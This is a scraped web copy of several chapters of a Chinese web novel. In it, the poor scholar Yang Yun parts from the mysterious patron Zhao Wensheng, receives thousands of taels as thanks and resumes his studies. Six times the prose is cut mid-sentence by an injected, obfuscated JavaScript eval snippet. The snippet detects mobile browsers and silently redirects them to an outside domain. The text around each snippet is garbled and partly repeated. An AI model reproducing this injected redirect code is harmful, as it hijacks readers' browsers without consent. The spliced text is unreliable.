听到是用来传递消息的飞鸽，杨云讪笑着把鸽子放回原位，扶着赵文盛坐起来，“我说屋里怎么会有只鸽子，原来是有主的。” 杨云出身将门，当然知道飞鸽传书，赵文盛能从石知县那里，借到给京城传书的飞鸽，这不是一般有钱人能做到的。 想到这里，杨云把面条递给赵文盛，心中琢磨着赵文盛到底是什么人。 两人很快把面条吃完，赵文盛趁着杨云送碗的时候，突然开口，“杨云，你一会带着纸笔过来，我要写一封信给京城。” 杨云的眼中闪过一道精光，很快把纸笔墨砚拿过来。 原本杨云想趁机看看，赵文盛会在信上写些什么，说不定能猜到他的身份。 只是赵文盛将笔提起后，似笑非笑地看向杨云，没有要写的意思。 两人对视片刻，杨云无奈地叹气，从堂屋离开，还把房门关上。 赵文盛嘴角泛起一丝笑意，略微思考后，提笔在纸上写数行字，卷起来放进飞鸽脚上的皮筒之内，轻声叫道：“杨兄弟，杨兄弟！有劳你把这只信鸽放掉。” 看着鸽子腿上的皮筒，杨云着实有点心痒，但当着赵文盛的面，他又不好偷看，只能走到门口，双手往上一扔，飞鸽扑扇着翅膀飞上云天。 “你到底是什么人？”放完飞鸽，杨云看着床上的赵文盛，眼中满是探寻之意。 赵文盛仍旧没有说出身份，只是慢慢地躺回被窝，发出一声舒服的长吟说： “你现下知道，不是什么好事。等该告诉你的时候，我自然会告诉你。” 杨云知道再问也没用，只能把书本拿出来，温**功课。 四个北夷刺客死后，杨云家里终于安稳许多，他每天在家读书，照顾赵文盛的饮食起居，日子过得平静而充实。 三天后，杨云正在家中读书，外面忽然传来一阵急促的马蹄声！ 他的神色微微一变，难道北夷又派刺客来了？ 咚咚咚！ 沉闷的拍门声响起，每一声都好像拍在杨云的心上。 坐在床上，翻看着四书集注的赵文盛，眼中却闪过一丝喜色，冲着惊疑不定的杨云说： “不要怕，是接我的人来了。” 杨云愣一下，下意识问道：“你要走了？” 虽然跟赵文盛相处的时间不长，但这个人谈吐不凡，对很多事情都有独到见解，杨云跟他学不少东西。 现下突然要走，杨云心中竟对这个认识仅仅几天的人，生出一丝不舍。 看到杨云的眼中有几分不舍，赵文盛放下手中的书，穿起鞋子拍拍他的肩膀说： “天下没有不散的筵席，但你的救命之恩，我是不会忘记的。” 赵文盛心中其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489125|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很看重杨云，这个年轻人聪慧机敏，善于变通，虽然有些青涩，但将来磨炼一番，未必不是朝廷栋梁。 杨云把手中的笔放下，起身出屋将院门打开。 门外站着一个精明干练，身上带着剽悍之气的大汉，他上下打量杨云一番，开口问道： “你是杨云杨公子吧？” 从侯府离开，已经很少有人会用公子称呼杨云，现下听到这个陌生又熟悉的称呼，杨云愣一下后才点点头， “我是杨云。” 大汉眼中闪过一丝喜色，兴奋地冲着杨云拱拱手，彬彬有礼地说： “请问我家主人现在何处？” 此时，许久没有出过房门的赵文盛，披着一个外衣走出来。 大汉及他身后的人看到，毫不犹豫地冲上去，单膝跪在赵文盛身前，大声说： “属下来迟，请主上降罪！” 数十个昂藏大汉整整齐齐跪在赵文盛面前，一股难以言喻的威严从赵文盛身上生出。 他负手站在西屋门前，镇定自若地看着面前的汉子们，淡淡地说： “此次是我不小心，跟尔等无关，都起来吧！” 大汉们齐声谢过，敲门的那个汉子走到赵文盛身边，恭敬地说： “主上，车驾已经备好，请您登车回京，我等必将您安全护送到京城！” 赵文盛看看站在大门后面的杨云，轻轻叹气，对大汉说： “胡威，你先去外面等我，我跟杨兄弟还有几句话要说。” 名叫胡威的大汉，沉声应是，只是在经过杨云身边的时候，他略带惊诧地看一眼。 杨云跟着赵文盛回到西屋，两人相对而坐，赵文盛笑呵呵地说： “现下我们分别在即，按理来说，我应该把我的身份告诉你，不然对你太不公平。” 之前隐瞒身份，是怕走漏消息，护卫们到来，赵文盛也不用担心。 杨云微微皱眉说：“听你的弦外之音，你是不打算告诉我你的身份？” 第94章 两个选择 第九十四章两个选择 之前赵文盛说过，在离开的时候，会把**告诉杨云，但看他的意思是想反悔。 见到杨云眉头微皱，赵文盛带着淡淡血色的脸上，泛起一丝笑容，平静地说： “是不是觉得我对你个小孩子说话不算数，实在有失大人之范？” 赵文盛今年已经三十七岁，对刚十八岁的杨云，他确实有资格称一声孩子。 杨云没有多生气，只是觉得好不容易要解开心中的谜团，但赵文盛临时反悔，忍不住生出淡淡的失落， “既然你不想说，那必然有你的理由，我勉强不了你。” 光看胡威和赵文盛那些下属令行禁止的样子，杨云已知道主动权已经不在他手中。 听着杨云明显带着细微怨气的话，赵文盛轻轻笑一下，眼睛转转说：“之前答应告诉你，现下却又反悔，确实不是大丈夫应为之举。” “这样吧，我给你两个选择，你思考一下，要选哪个。” “第一，我把我的**告诉你，你想问什么，我都知无不言。” 见到赵文盛这么诚恳，杨云的脸色好看许多，他好奇地问：“那第二个选择是什么？” 如果是送金银，杨云肯定不选，他现下穷，但以后肯定能挣到不少钱，赵文盛也不会笨到这种地步，他很好奇赵文盛能说出什么选择。 看着杨云探寻的眼神，赵文盛的手按在桌上，凑到杨云面前说： “第二个选择，将来你对付天应侯府的时候，我可以帮你。” 听到天应侯府四个字的时候，杨云的眼睛猛然睁大！ 回到青山村后他发奋读书，正是想让天应侯府那些人看看，只靠他，照样能够将侯府踩在脚下！ 但他从来没有跟任何人说过这件事，包括他的母亲姜梅！ 赵文盛是怎么知道，他有这个心思的？ 看着杨云惊疑不定的表情，赵文盛脸上的笑容愈发浓烈，胸有成竹地说：“是不是在好奇，我为什么会知道你的心思？” “天应侯府的假世子被赶出侯府，此事在京城闹得沸沸扬扬尽人皆知。” “你回来之后痛改前非，发奋读书，若没有对付天应侯府的心思，你还算个男人吗？” 天应侯杨成罡要是只把姜梅和杨云赶出侯府，杨云心中也没有这么大的怨气。 但他非逼着杨云亲手鞭笞生母，这让杨云对天应侯府起恨意！ 眼看赵文盛猜出他的心思，杨云心中对他的身份不禁更加好奇，皱眉问道： “你到底是什么人？” 赵文盛说他只是一个贩卖古董字画的商人，但一个商人，怎么有胆子和天应侯府作对？ 对杨云的问题，赵文盛没有正面回答，只是笑着反问道：“我的身份是第一个选择，你确定不改？” 杨云眉头紧皱，赵文盛来历神秘，说不定将来真能帮上他大忙。 沉思片刻，杨云总算作出决定，看着赵文盛说： “赵老板，我选第二个，希望你到时候真能帮得上我。” 相比赵文盛的身份，第二个选择显然更有用。 等到对付天应侯府的时候，赵文盛就算不说他是谁，杨云也能猜个八九不离十。 赵文盛慢慢起身，冲着杨云拱拱手，带着一份舍我其谁的霸气说： “普天之下，敢和天应侯作对的人不多，我正是其中之一！” “杨兄弟放心，将来你对付天应侯府的时候，我一定帮帮场子！” 不知道为什么，在赵文盛说出这句话后，杨云有种感觉，他确实没有骗他。 看着赵文盛的身影，杨云轻轻叹气，没有再纠结他的身份，抬头问道： “你现下的身体能赶路吗？要不在家里多休养几天吧。” 胡威带着那么多护卫赶来，还带着车驾，显然是准备接赵文盛离开。 毕竟青山村太过简陋，暂时避难还行，长期休养不符合赵文盛这种人的身份。 只是杨云担心，赵文盛受重伤又染风寒，身体刚好立马赶路，不知道能不能吃得消。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489126|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵文盛的脸上闪过一丝无奈，微不可察地吸一口气，平静地说： “我想啊，只可惜到我这个位置，有些事情，就算是不要命也得去做。” 在杨云家养伤这几天，是赵文盛难得的清闲日子，不用管什么乱七八糟的事，每天是吃喝读书晒太阳。 可惜好日子，往往都结束得很快。 杨云轻轻点头，没有再劝赵文盛，两人一起走到门外。 姜梅站在厨房门口，眼中带着惊疑和慌张，她不知道家里为什么会突然来这么多人。 赵文盛越过一众胡威，走到姜梅身前，冲着她微微躬身， “这几天多谢夫人照顾，今日我就走了，日后夫人去京城，我一定扫榻以待。” 姜梅没有杨云那么多心思，见她真救下一条人命，发自肺腑地开心，满脸笑容地说： “只要你能好起来就行，我这几天也没做什么大事。” 京城是姜梅的伤心地，她不知道以后会不会再去。 跟姜梅、杨云全都道过别，赵文盛缓步来到门口的车驾之前，被车里出来的侍女搀扶上去。 姜梅和杨云快步走到门口，目送赵文盛上车。 车驾右侧的车帘掀开，赵文盛的脸露出来，“二位留步，在下告辞。” 车夫一声鞭响，四匹高大健硕的白马，拉起车驾缓缓向前，胡威带着侍卫们随侍左右。 等到车驾完全看不到，姜梅和杨云才转身回家。 关门的时候，姜梅小声对杨云说： “没想到赵老板那么有钱，坐的马车却这么普通。” 方才姜梅看过，接赵文盛的马车上没有什么金银镶嵌，也没有什么华丽装饰，看起来跟县城富户的车驾差不多。 杨云轻轻一笑，小声对她说： “娘，这你看错了，赵老板坐的那辆车绝不普通，换成银子，至少得值三千两。” 姜梅听到这个数目，忍不住吓一跳，看着杨云疑惑地说：“不可能吧！我看他的马车挺普通的。” 第95章 重回学堂 第九十五章重回学堂 杨云摇摇头，他虽然不知道赵文盛的**，但从数十名护卫的阵仗能看出，他绝不是什么普通人，这种人坐的马车，怎么可能普通？ 两人走到厨房，杨云坐在灶边烧着火，闲聊家常一般地对姜梅说： “赵老板坐的马车看起来普通，但车帘是用最好的提花缎做的，这种缎子一尺要上百两，普通人买都买不起，哪里舍得用来做车帘？” “还有他车顶上的璎珞，用的是紫柳线，包的是鸽血石，名贵非常。” “光这些算下来已不止三千两，更别说我还没算拉车的四匹白马，不然更贵。” 姜梅似懂非懂地点头，豪门望族用的东西，一般百姓根本想都不敢想。 吃过饭，杨云见家里还剩下金创药，拿上程守信的刀和弓箭，一起送到他家里。 胖婶正在家里数落程守信。 她把做好的菜饭递给程守信，嗔怪地说： “你说你这是图什么？人家的事，你让人家应付就行，你显什么本事？” “现下好了，杨云什么事都没有，你不仅腿上挨一刀，还背上人命案子。” 以一己之力杀三个北夷刺客的程守信，看不到任何威风霸气，像一个最普通的庄稼汉，闷头吃饭，没有任何反驳。 这时，杨云拿着弓刀过来，站在门口大声问道：“程叔，婶子，你们两个在家吗？” 听到杨云来，胖婶瞪一眼程守信，端着碗走到房间门口，笑呵呵地打招呼， “小云你怎么来了？吃饭没有，要不在婶子家里一起吃点吧！” 杨云拿着刀弓来到屋里，摇摇头说：“婶子，我已经吃过。这是程叔留在我家里的刀和弓，我给您送回来。” 原本这两样算是证物，衙门应该和北夷刺客的尸体一起带走，但看在赵文盛的份上，石知县睁一只眼闭一只眼，给程守信留下。 这两样东西都是程守信的宝贝，平日里连胖婶都不能碰。 现下见到杨云给他送回来，程守信连声道谢，连饭都不吃，拿过弓把弦松了。 看到这一幕，胖婶忍不住翻两个白眼，一个破弓一个破刀，弄得跟宝贝似的。 见到程守信专心松弓弦，杨云把剩下的金创药拿出来，交给胖婶， “婶子，这是我在县城买的金创药，对程叔的伤特别有用，你记得每天给他换一遍。” 眼见杨云对自家老程这么上心，胖婶心中的怨气也消不少， “原本不该要你东西的，但这药对我们家老程确实重要，婶子不要脸一回了。” 说着她把药粉接过，放在旁边的桌子上。 杨云客气几句，转身回到自家，拿出书本开始温**功课。 这几天忙着赵文盛的事，已经好几天没去学堂，明天得去四方村，让周仲再指点一下。 第二天一早，杨云带着书本来到四方村，开门的老周叔看到他，脸上有些惊喜， “杨云？你不是已经毕业了吗？今天怎么来了？” 杨云有些哭笑不得，摇摇头解释说：“那都是谣传，我是最近家里有事，才没来。现下忙完，自然要回来上学。” 老周笑着点点头，将杨云让进门房中，给他倒一碗热茶暖暖身子， “少爷还没起床，你先在这里坐会儿。” 不多时，学生们来了，见到杨云又惊又喜，围在他身边不停地问着问题。 唯有年龄比较大的虞尚熙眼中闪过一丝忧色，趁着众人进学堂的时候轻声问： “杨云，听到你们村前几天一下死三个人，到底是怎么回事？” 杨云没想到消息传得这么快，他打个哈哈说： “没事，几个**贼翻墙想要谋财害命，结果被人杀了，知县和捕头都看过，已经结案。” 正当虞尚熙准备继续问的时候，老周叔黑着脸走进来，他连忙闭嘴，开始背功课。 等到日上三竿，周仲才打着哈欠来到学堂。 他看到杨云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489127|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟在的时候，微微愣一下，但随即便像没事人一样，接着检查其他学生的功课，给他们上新课。 所有学生都过一遍后，周仲才起身冲着杨云招招手，两人来到后院书房。 在书房中坐下后，周仲没有问杨云这段时间去干什么，他只是淡淡地问：“你最近的功课没有落下吧？” 杨云连连点头，认真地看着周仲说： “我一有空看四书集注，对您之前讲的那些精义，又有更深的理解。” “只是五经艰深难懂，我看好几次，都不理解其中之意。” 四书，杨云已经背得滚瓜烂熟，五经他也背一点，但始终难解其中深意。 周仲毫不意外地点点头，“五经内容晦涩，你一个人闷头琢磨，自然难有进步。” “我之前跟你说过，要带你去拜罗师为经师，只是罗师最近外出访友，这事只能放下，等他回来再做计较。” 听到罗师出外访友，杨云眼中闪过一丝失望，但秀才之间互相拜访，乃维持人脉和声望的重要方法，他也不好说些什么。 杨云沉默片刻，忽然抬头看着周仲问道： “既然罗师不在，先生你先给我大略讲讲如何？我实在是太想上进了。” 周仲的想法还跟以前一样， “我说过，我在五经方面的造诣不够，做不了你的老师。” “既然你那么想上进，来，你写几个字给我看看！” 杨云的字一直是他的短板，即便每天写十篇字，进步也不算太大。 但周仲让写，杨云也不好推脱，拿起毛笔在纸上写行字。 站在旁边的周仲看得直摇头，等杨云写完后，他照着杨云的内容，在旁边又写一遍。 单看周仲的字，似平平无奇，没有出挑之处，但跟杨云的字放在一起，立刻变得圆润饱满，甚至带着几分大家风度。 他似笑非笑地看一眼杨云，十分肯定地说： “光凭你这个字，童生试过不了。” 第96章 饭钱 第九十六章饭钱 书法是基本中的基本，如果一个人连字都写不好，就算才华再高，也不可能考**名。 因为主考官一看字不行，黜落试卷，根本不会仔细看考生写的内容。 杨云脸色微微一红，这几天他忙里忙外，确实没有练字，但没想到差得这么远。 见到杨云脸红，周仲没有再打击他，沉吟片刻后说： “从今日开始，你分出一半的时间开始练字，剩下的时间巩固四书精义。” “等你的字练得差不多，我给你出些童生试的题目，让你对要考什么，心中大概有数。” 明年有童生试，以杨云的水平，可以去碰碰运气，说不定能闯过去。 听到周仲为他制定学习计划，杨云顺从地点头，按照他的嘱咐，开始练字。 练字的过程中，周仲不断纠正杨云的错漏，比如拿笔的姿势，落笔的顺序，还教给他一些书写的小窍门。 仅是一上午时间，杨云的字已有很大进步，用周仲的话说是，快追上虞尚熙。 下午，周仲抽查杨云的四书精义，发觉他果然比以前进步不少，只抽几道不抽了。 眼看距离放学还有一段时间，周仲想一下说： “我给你出个题目，你试着做一首试贴诗，不用管好坏做出来即可。” 之前周仲给杨云讲过试贴诗的作法，只是真正动笔，杨云还是第一次，他认真地说： “先生放心，我一定尽全力去做。” 周仲随意从之前练习过的试贴诗中，抽出一道题目念出来，对杨云说： “半个时辰内，作出一首符合五言六韵的试帖诗，官韵一字要在题旁标明。” 杨云拿起一张宣纸，先在侧边写下题目，苦思半晌，将官韵定好，等到真要下笔，他却有些不知道该怎么办。 眼看时间越来越少，杨云只能咬牙胡诌一首诗，硬着头皮教给周仲。 周仲接过杨云的诗一看，立马笑出声， “你这诗……韵脚是没什么差错，但破题，承题全都没有，更别说用典。” 杨云也知道他在这方面是弱项，恭恭敬敬地对周仲行礼说：“还请先生指点，试帖诗该怎么写。” 脸上带着笑意的周仲，招招手让杨云把笔递过来，在他的诗上涂抹一通，改成一首合格的试帖诗， “你拿回去好好琢磨一下，现下你最重要的不是写好，而是把韵脚，破题这些练熟。” 看着周仲给他改出来的诗，杨云觉得比他刚才写得好得多。 他谦虚地点点头，准备回去后好好练习。 转眼三天过去，这天杨云放假，正在家里练字，忽然敲门声响起，他的手微微一抖，原本即将写好的字，没法看了。 堂屋的姜梅快步走出，将院门打开，外面站着五六个彪形大汉，她愣愣地看着这些人问：“你们找谁？” 为首的人冲着姜梅抱拳拱手，声如洪钟地问： “请问，这里是杨云杨公子的家吗？” 姜梅看着这几人满脸横肉，身上还带着刀剑，不由得多一份防备，警惕地反问： “你们找杨云有什么是吗？” 之前自家里死三个人，说不定这几个人是上门为他们报仇的。 门口的大汉看出姜梅在防备，却没有计较，依旧老老实实地说： “在下鲍彪，奉主上之命前来，给杨公子送些谢礼。” 听到主上这两个字，姜梅立刻明白，这应该是赵文盛派出来的人。 弄清楚来人的身份，她脸上立刻绽出笑容，将鲍彪等人请入堂屋，给他们倒上茶后，冲着东屋喊道： “云儿，赵老板派人来找你！” 东屋的杨云听到赵文盛派人来找他，将手中毛笔放下，来到堂屋。 鲍彪见到一个十八九岁，面容俊朗，气度不凡的年轻人走进来，连忙起身抱拳问： “是杨云公子？” 杨云还个礼，请鲍彪坐下后问道：“不知道找老板派你来，有什么事？” 之前赵文盛和杨云已经说好，救命之恩等杨云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493185|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对付天应侯府的时候再报，那边应该在杨云到京城之前，没有来往才对。 确认杨云的身份没错，鲍彪从身上拿出一个木盒，放在桌上， “这是主上让我交给您的，还请公子务必收下。” 杨云跟姜梅对视一眼，不知道赵文盛这是什么意思，小心地将木盒拿过来打开，一叠整整齐齐的银票出现在两人面前，最上面的一张明明白白写着一百两！ 按照这个木盒的厚度估算，这里面的银票至少有四五千两。 看到里面是银票，杨云啪的一声把盖子合上，皱眉看着鲍彪问道：“你们主上让你把这些银票送来，是什么意思？” 难道赵文盛回去后，觉得天应侯府实在不可匹敌，送些银票，让他忘记之前的援手之约？ 但联手对付天应侯府，本来是他先提出来的，不应该反悔才对。 见到姜梅杨云脸上满是疑惑，鲍彪笑呵呵地对两人说：“这是主上在杨公子家，住这几日的饭钱和药钱，还请公子收下。” 饭钱和药钱？ 几碗最普通的面条，还有几包金创药，竟能值五千两银子？ 杨云听到鲍彪的话，立刻把盒子推回去，正色说： “赵老板的情意我们心领，但这几日给他吃的都是粗茶淡饭，药也只是普通药粉，不值这么多钱，还请阁下拿回去交给赵老板。” 之前杨云救赵文盛的时候，根本没想过报答，现下他走了，更不可能要这笔钱。 鲍彪看起来五大三粗，说话却分外有条理，笑着摇摇头劝道： “主上当时身陷险境，杨公子的粗茶淡饭，在那个时候是天下顶级的珍馐美味，药粉也是灵丹妙药！赠您再多金银，也无法表达主上对您的感激。” 杨云觉得鲍彪说得是有几分道理，但他看看盒子，坚持着说：“这还是太多了……” 鲍彪哈哈一笑，冲着杨云摆摆手说：“这些钱对我家主上，不够九牛一毛而已，杨公子尽管收下。另外，还得麻烦杨公子，带我们去程壮士家里一趟。” 第97章 闻风而动 第九十七章闻风而动 五千两，对青山村的村民是一笔天文数字，但对赵文盛这种京城富商，只是指缝里露出的一点散碎银两而已。 杨云见到鲍彪这么坚决，默默点头，将银票盒子交给母亲收起，带鲍彪来到程守信家。 胖婶在家里扫院，见到杨云带着一帮人来，眼神中满是疑惑，“小云，这……这些人都是你朋友吗？” 鲍彪等人眼神凌厉，一身剽悍之气，一看不是什么良善之辈。 胖婶平时骂程守信挺凶，但真碰到外人，还是有些胆怯。 看着警惕的胖婶，杨云笑呵呵地问： “婶子，这些人是来找程叔说事的，没有恶意，你不用担心。” 鲍彪打量胖婶一眼，冲着她拱手，客气地说：“在下几人常年在外奔波，生得糙一些，还请大嫂多多包涵。” 听到杨云说这些人没有恶意，鲍彪说话又不像他长得那么鲁莽，胖婶才放下心。 她将扫帚放在墙边，十分热情地招呼众人，“进屋坐，我给你们倒水去。” 杨云前几天来过，领着鲍彪进程守信养伤的屋子，看到他正坐在床上擦刀。 鲍彪看到程守信手中的刀，眼睛中飞快闪过一道精光，这把刀上带着凶煞之气，应该在其主手中，饮过不少人血。 怪不得此人能以一敌三，原来之前沾过人命。 程守信听到脚步声音，抬头看到来人是杨云和一个彪形大汉，连忙将刀回鞘，拱手说：“在下腿上有伤不能远迎，还请两位见谅。” 杨云满不在乎地摆摆手，他和程守信是过命的交情，用不着做这么多虚礼，“程叔，这位是赵老板的下属，此次是专程过来找你的。” 听到鲍彪是赵文盛的人，程守信再次冲他拱拱手，以示敬意。 鲍彪连忙回礼，眼神中带着明显的钦佩说： “听主上说，程壮士以一己之力杀掉三名刺客，今日一见，果然名不虚传！” 作为赵文盛的护卫，鲍彪知道三名北夷刺客的难缠程度，换成他未必能做到这种程度。 程守信客气几句，请杨云和鲍彪坐下，等看到鲍彪的坐姿，程守信眉头微挑，忽然问道： “在下斗胆，多问鲍将军一句，不知道将军是边军九路中的哪一路？” 大盛朝设有九路边军，防御外敌，其中北路边军常年于北夷厮杀，最为精锐。 程守信看鲍彪的坐姿，带着北路边军的习惯，想起当兵的时候，开口问一句。 鲍彪惊讶地看着程守信，似没想到他能看出他是边军出身， “在下是北路边军镇山卫出身，不知道程壮士是哪一路？” 鲍彪知道，能看出他边军出身的人，定然也是边军。 程守信听到镇山卫的名字，脸上露出一丝傲然，风轻云淡地说：“在下是天鹰卫。” 听到天鹰卫的名字，鲍彪眼中明显闪过一丝不服之色，但还是起身再次行礼， “原来是边军前辈，在下有礼。” 两人寒暄片刻，胖婶端着几碗白水进来，放在杨云鲍彪手边，不好意思地说： “真是对不住，我家茶叶没了，只能委屈几位喝些白水。” 鲍彪对这个不是很在乎，他伸手从怀中拿出二百两银票，走过去双手递给程守信， “程前辈，这是主上让我交给您的赏银，请您点点。” “二百两？” 听到这个数字，胖婶忍不住惊叫一声，她没想到，这些人竟是来给自家送银子的！ 程守信也不推辞，拿过银票仔细清点，确认无误后交给胖婶，“媳妇，把这些银票收好。” 胖婶有些担忧地接过银票，她不知道鲍彪给程守信这么多银子，是不是要去做什么坏事。 但当着这么多人的面，她也不好问程守信详情。 众人在房中闲聊片刻，鲍彪起身回去复命，程守信勉强从床上下地，由胖婶搀扶着，坚持将众人送出门口，杨云也告辞回家，继续练字。 等到人都走完，胖婶拿出银票又点两遍，确认真是二百两后，将银票藏好，喜忧参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493186|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半地看着程守信问： “老程，他们为什么会给你这么多钱？” 鲍彪等人看起来凶神恶煞，该不会是什么山贼土匪吧？ 程守信躺回床上，拍拍受伤的腿，回想起他和赵文盛的约定，笑呵呵地说： “这是我伤腿才换来的银子，一点都不多。” 胖婶看着程守信的伤腿，立刻想到前几天的人命案，若有所思地问： “这么说，他们应该也给梅子他们家送钱？” **那天晚上，杨云和程守信在一起。 今天他又和鲍彪一起来，他应该也有钱。 程守信没有多想，漫不经心地说：“肯定的，这件事本来是杨云找我，我才参与到其中的。” 胖婶没有说什么，只是嘱咐程守信好好养伤，拿着鞋底子，来姜梅家串门。 当天晚上，青山村所有人都听说，之前死在姜梅开的几个人全是土匪，县衙给一千两赏银！ 今天村里有很多人看到鲍彪进村，恍然大悟，怪不得来那么多人，原来是送银子的！ 知道赏银足足一千两后，村里人后悔得直拍大腿，早知道有这么多钱，他们也去了！ 杨云不知道自家得赏银的事，已经传遍整个村子，第二天照旧去四方村上学。 按照周仲的安排，杨云上午练字，经过这几天的苦练，他的字总算有形。 下午，周仲给杨云出题作试帖诗，指出问题，让他修改，一天时间这么过去。 晚上回到家中，杨云发现家里挤着一堆人，见到他回来，纷纷打招呼， “小云，你回来了？看你这早出晚归的样子，将来肯定能考上童生！” “我看不止，小云将来应该能考上秀才，搬到城里去住！” 这么多夸奖扑面而来，杨云不知道是怎么回事，只能匆匆敷衍几句回到房中， 等到这些串门的人，依依不舍地离开后，杨云找到姜梅，满脸疑惑地问： “娘，这是怎么回事？家里怎么突然会有这么多人来？” 第98章 上门哭诉 第九十八章上门哭诉 上次家里来这么多人，还是盖新房的时候；再见到这么多人，杨云心里有种不好的预感。 姜梅脸上泛起一丝为难之色，低着头对杨云小声说： “我昨天跟胖神聊天的时候，不小心把鲍彪送银子的事说了……” 听到姜梅把这件事说出去，杨云忍不住懊恼地哎呀一声，无奈地看着母亲说： “之前我告诉过您，这件事千万不能往外说，没想到……唉……” 之前因为盖房的事，姜梅被人上门借过钱；没想到她经过一次，还不长记性。 看着儿子懊恼的样子，姜梅心里也着急，连忙补救说： “云儿你别担心，我和胖婶说，赵老板只给咱们一千两银子。” 突然得五千两银子，姜梅心里美滋滋的，但这种愉悦不能跟人分享，实在是太难受。 正好胖婶来串门，他家也得赏银，姜梅心痒难耐，把自家赏银说了。 但她到底还是留个心眼，没说五千两，只说一千两。 既然事情已经传得沸沸扬扬，再责怪母亲也无济于事，杨云想一下之后说： “明天我去四方村，和周先生请个假，等把家里这些人都应付走再说。” 姜梅担心地问：“用不着请假吧？那些来借钱的人，我把他们打发走即可。” 杨云又好气又好笑地看着母亲，半晌之后摇摇头说： “娘你不用担心，我在周先生那里学得差不多了，在家学和在他那里学，都一样的。” 杨云知道，母亲心软，家里现下又真的有钱，说不定她会被哪些人感动，把钱借出去。 在这件事上，他得多长个心眼才行。 第二天，杨云起早去四方村找周仲请假。 第三天，周仲准后，又让杨云等一等，从书房中拿出一本《试帖诗摘录全集》交给他，语重心长地说： “你的帖经，墨义我已经都不担心，只是你的试帖诗作得实在太差。” “这本《试帖诗摘录全集》摘录近十年内，试帖诗中的上佳之作。” “是我好不容易托人从省城买到的，你回去仔细看，仔细揣摩，定然对你有所帮助。” 看着手中薄薄的册子，杨云心中深受感动。 这种书因为用处不大，销量不高很难买到，恐怕周仲手中只有这么一本，给他，他恐怕没得看了。 想到这里，杨云攥紧手中的册子，用力地点头说： “先生，我回去之后，一定仔细研读，必不负您的栽培。” 回到家中，杨云立刻搬两把椅子出来，坐在其中一把上，翻看《试帖诗摘录全集》。 这一翻才知道，这里面不仅有童生考秀才之作，甚至有秀才考举人所做的试帖诗。 杨云仔细翻一会儿，立刻觉得受益匪浅，看得更加如痴如醉。 等到日上三竿，杨云家忽然走进来一个妇人，这妇人的眼眶红肿，好像刚哭过一样。 妇人看到杨云坐在院中不禁一愣，站在门口抹起眼泪，一副受天大委屈的样子。 但她擦眼泪的时候，不时偷瞄杨云的表情，显然她是带着目的而来。 只是杨云看书看得入迷，根本没注意到妇人的这番举动。 眼见哭半天没人理会，妇人心里暗骂两句，啜泣着往屋里走，口中大声说： “弟妹，弟妹，这次你得帮帮我啊！” 杨云心硬如铁不好对付，姜梅是个没主见的人，只要哭得她心软，定有可能达到目的！ 听到院子里突然响起哭声，杨云猛然惊醒，放下书抬头看一眼，立刻开口叫住妇人， “二婶，我娘在屋里做衣服呢，你有什么事跟我说吧。” 妇人正是杨玉昭的夫人，之前骂过杨云的冯氏。 冯氏心虚地看一眼杨云，故意抽泣几声，可怜兮兮地说： “小云，这件事你做不了主，我还是跟你娘商量吧。” 见到冯氏迈步要往屋里走，杨云不紧不慢地说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 